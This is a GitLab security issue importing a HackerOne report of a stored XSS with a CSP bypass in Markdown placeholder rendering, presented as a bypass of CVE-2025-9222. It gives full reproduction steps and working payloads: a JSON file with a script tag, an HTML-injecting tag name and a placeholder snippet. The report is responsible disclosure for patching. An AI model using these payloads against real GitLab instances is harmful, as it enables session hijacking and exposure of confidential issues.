A CSP-bypass XSS via GitLab Flavored Markdown render: A bypass of CVE-2025-9222
:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/engineer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.**
**[HackerOne report #3502450](https://hackerone.com/reports/3502450)** by `yvvdwf` on 2026-01-09, imported by @fvpotvin:
[Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce)
## HackerOne Analyst Summary
## Summary of the issue
The researcher found Stored XSS with payload injected in JSON file in the project. The payload can be fetched from tag name, and linked to the label of a snippet.
The researcher mentioned that this is a bypass of previous fix in CVE-2025-9222 #3297483.
The researcher shared details how to bypass the previous fix:
> The patch allows [in to hyperlink](https://gitlab.com/gitlab-org/gitlab/-/blob/e1acd86bb53340ce2836c7bb23f076de165226b5/lib/banzai/filter/placeholders_post_filter.rb#L161-170) injecting `"` character which will break html elements once being redacted. This leads to arbitrary html injection, then XSS.
## Steps to reproduce
1. As the **victim**, connect self-hosted GDK, with latest commit `18.8.0-pre c240392075e` -> Run `gdk rails console` to start console -> Enter `Feature.enable(:markdown_placeholders)` to enable feature flag
2. As the **attacker**, sign in **attacker's account** on GDK -> Create **public** group, called `group450` -> Create **public** project in the group, called `project450`:

3. As the **attacker**, add `a.json` in the project, with following content:
```json
{
"discussion_html": "<i><i class=line_holder><script>alert(document.domain)</script></i></i>"
}
```

4. As the **attacker**, in the project, create a **confidential** issue with any content:

5. As the **attacker**, go to **Code** -> **Tags** -> **New tag** -> In **Tag** name, add following payload -> **Create tag**:
```html
"><svg><style><i/class=js-toggle-container><i/class=js-toggle-lazy-diff><i/class="file-holder"data-lines-path="/group450/project450/-/raw/main/a.json">CLICK-HERE<i/class=diff-content><table><tbody/></table></i></i></i></style></svg><!--
```

6. As the **attacker**, go to **Snippets** -> **New snippet** -> Enter any title -> **Switch to plain text editing** -> Enter following payload -> Fill out all necessary information -> Select **Public** -> **Create snippet**:
```html
<a href="http://127.0.0.1:3000/group450/project450/-/issues/1">
<img data-placeholder=1 src="%{latest_tag}">
</a>
```

7. As the **victim**, in **victim's** browser, sign in **victim's** **non-root/regular** user account on GDK -> Go to **attacker's** project -> **Issues**. You can see **victim** cannot see **attacker's** **confidential** issue, as expected:

8. As the **victim**, go to **Snippets** -> Open **attacker's** snippet -> Click **CLICK-HERE**. You can see payload triggered in the **victim's** browser:

## Impact statement
The impact of a successful XSS exploitation varies. In a worst-case scenario, an attacker is able to execute JavaScript code within the victim's browser. This opens the door to many scenarios of which the most common are:
* Session Hijacking: An attacker might be able to steal the user's cookies if no proper flags are set. As an example, the "HttpOnly" flag.
* User Impersonation: An attacker might be able to interact with user data or settings and in certain scenarios bypass the CSRF protection by deploying a payload that retrieves the CSRF token automatically and submits legitimate requests to the endpoint.
* Client-Side Attacks: An attacker is also able to inject a JavaScript payload that interacts with the victim's browser allowing for the delivery of exploits and thus affecting the end user's perimeter.
If you have any questions or concerns about this report, feel free to assign it to `H1 Triage` via the action picker with a comment indicating your request.
## Original Report
Hello,
Gitlab recently released a [patch](https://about.gitlab.com/releases/2026/01/07/patch-release-gitlab-18-7-1-released/) to address [my XSS report](https://hackerone.com/reports/3297483). Although this patch fixed the payload I used to trigger XSS but it still can be bypassed by using other kind of payloads.
The patch allows [in to hyperlink](https://gitlab.com/gitlab-org/gitlab/-/blob/e1acd86bb53340ce2836c7bb23f076de165226b5/lib/banzai/filter/placeholders_post_filter.rb#L161-170) injecting `"` character which will break html elements once being redacted. This leads to arbitrary html injection, then XSS.
### Reproduce
The following steps are to reproduce on a self-managed instance runing Gitlab-ee 18.7.1
#### Step 0: Enable `markdown_placeholders`
- start Rails console: `sudo gitlab-rails console`
- then, enter: `Feature.enable(:markdown_placeholders)`
#### Step 1. Create a new public project `group-a/b`:
- open Gitlab, then create a _public_ new group `group-a`, then a _public_ project `b`
- note: the project path `group-a/b` is important as it is used in Step 4
#### Step 2. Create a confidential issue
- title and description as you want
- `Turn on confidentiality: Limit visibility to project members with at least the Planner role`: checked
- Note its url, e.g., `http://gl.lo:2080/group-a/b/-/issues/1` (it will be used in Step 5)

#### Step 3. Add payload
- add a `a.json` file into the project using the following content:
```json
{"discussion_html": "<i><i class=line_holder><script>alert(document.domain)</script></i></i>"}
```

#### Step 4. Create a new tag
- goto `Code / Tags`, then create a new tag using the following Tag name:
```html
"><svg><style><i/class=js-toggle-container><i/class=js-toggle-lazy-diff><i/class="file-holder"data-lines-path="/group-a/b/-/raw/main/a.json">CLICK-HERE<i/class=diff-content><table><tbody/></table></i></i></i></style></svg><!--
```

#### Step 5. Create a snippet
- go to `Code / Snippets`, then create a new _public_ snippet within the following parameters:
+ Title: `XSS here`
+ Description (note: you need to `Switch to plain text editing`) :
```html
<a href="http://gl.lo:2080/group-a/b/-/issues/1">
<img data-placeholder=1 src="%{latest_tag}">
</a>
```
+ Files: `a`
+ Visibility level: `Public`

#### Step 6. Exploit
- In your web browser, view the snippet in a new incognito window, then click on `CLICK-HERE`, you should see a popup which is created by the javascript created in Step 3
#### Impact
Stored-XSS with CSP-bypass allows attackers to execute arbitrary actions on behalf of victims at the client side.
## Attachments
**Warning:** Attachments received through HackerOne, please exercise caution!
* [3.png](https://h1.sec.gitlab.net/a/81251d89-8659-46a0-9caa-f6591f79272d/3.png)
* [2.png](https://h1.sec.gitlab.net/a/97eeba9b-2e0f-40a9-924b-fae009e49387/2.png)
* [4.png](https://h1.sec.gitlab.net/a/399946fd-6761-447c-ad4a-de1817b5f699/4.png)
* [5.png](https://h1.sec.gitlab.net/a/54eab1eb-05f0-4440-861e-5842444d237c/5.png)
## How To Reproduce
Please add [reproducibility information] to this section:
1.
1.
1.
[reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue